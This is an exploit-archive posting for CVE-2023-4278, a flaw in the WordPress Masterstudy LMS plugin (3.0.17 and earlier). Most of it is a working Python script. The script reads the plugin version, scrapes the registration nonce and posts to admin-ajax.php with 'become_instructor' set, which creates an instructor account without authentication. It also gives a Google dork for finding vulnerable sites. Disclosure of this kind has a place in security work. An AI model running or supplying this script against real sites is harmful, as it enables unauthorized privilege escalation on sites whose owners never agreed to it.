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WordPress Masterstudy LMS 3.0.17 Account Creation

WordPress Masterstudy LMS 3.0.17 Account Creation
Posted Oct 10, 2023
Authored by Revan Arifio

WordPress Masterstudy LMS plugin version 3.0.17 suffers from an unauthenticated instructor account creation vulnerability.

tags | exploit
advisories | CVE-2023-4278
SHA-256 | aa1b5c2299727b4cfcb822f2df939e874c1670162a4018327de3eef00a5740b6

WordPress Masterstudy LMS 3.0.17 Account Creation

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# Exploit Title:  Wordpress Plugin Masterstudy LMS - 3.0.17 - Unauthenticated Instructor Account Creation
# Google Dork: inurl:/user-public-account
# Date: 2023-09-04
# Exploit Author: Revan Arifio
# Vendor Homepage: https:/.org/plugins/masterstudy-lms-learning-management-system/
# Version: <= 3.0.17
# Tested on: Windows, Linux
# CVE : CVE-2023-4278

import requests
import os
import re
import time

banner = """
_______ ________ ___ ___ ___ ____ _ _ ___ ______ ___
/ ____\ \ / / ____| |__ \ / _ \__ \|___ \ | || |__ \____ / _ \
| | \ \ / /| |__ ______ ) | | | | ) | __) |_____| || |_ ) | / / (_) |
| | \ \/ / | __|______/ /| | | |/ / |__ <______|__ _/ / / / > _ <
| |____ \ / | |____ / /_| |_| / /_ ___) | | |/ /_ / / | (_) |
\_____| \/ |______| |____|\___/____|____/ |_|____/_/ \___/

======================================================================================================
|| Title : Masterstudy LMS <= 3.0.17 - Unauthenticated Instructor Account Creation ||
|| Author : https://github.com/revan-ar ||
|| Vendor Homepage : https:/wordpress.org/plugins/masterstudy-lms-learning-management-system/ ||
|| Support : https://www.buymeacoffee.com/revan.ar ||
======================================================================================================

"""


print(banner)

# get nonce
def get_nonce(target):
open_target = requests.get("{}/user-public-account".format(target))
search_nonce = re.search('"stm_lms_register":"(.*?)"', open_target.text)
if search_nonce[1] != None:
return search_nonce[1]
else:
print("Failed when getting Nonce :p")



# privielege escalation
def privesc(target, nonce, username, password, email):

req_data = {
"user_login":"{}".format(username),
"user_email":"{}".format(email),
"user_password":"{}".format(password),
"user_password_re":"{}".format(password),
"become_instructor":True,
"privacy_policy":True,
"degree":"",
"expertize":"",
"auditory":"",
"additional":[],
"additional_instructors":[],
"profile_default_fields_for_register":[],
"redirect_page":"{}/user-account/".format(target)
}

start = requests.post("{}/wp-admin/admin-ajax.php?action=stm_lms_register&nonce={}".format(target, nonce), json = req_data)

if start.status_code == 200:
print("[+] Exploit Success !!")
else:
print("[+] Exploit Failed :p")



# URL target
target = input("[+] URL Target: ")
print("[+] Starting Exploit")
plugin_check = requests.get("{}/wp-content/plugins/masterstudy-lms-learning-management-system/readme.txt".format(target))
plugin_version = re.search("Stable tag: (.+)", plugin_check.text)
int_version = plugin_version[1].replace(".", "")
time.sleep(1)

if int(int_version) < 3018:
print("[+] Target is Vulnerable !!")
# Credential
email = input("[+] Email: ")
username = input("[+] Username: ")
password = input("[+] Password: ")
time.sleep(1)
print("[+] Getting Nonce...")
get_nonce = get_nonce(target)
# Get Nonce
if get_nonce != None:
print("[+] Success Getting Nonce: {}".format(get_nonce))
time.sleep(1)
# Start PrivEsc
privesc(target, get_nonce, username, password, email)
# ----------------------------------

else:
print("[+] Target is NOT Vulnerable :p")


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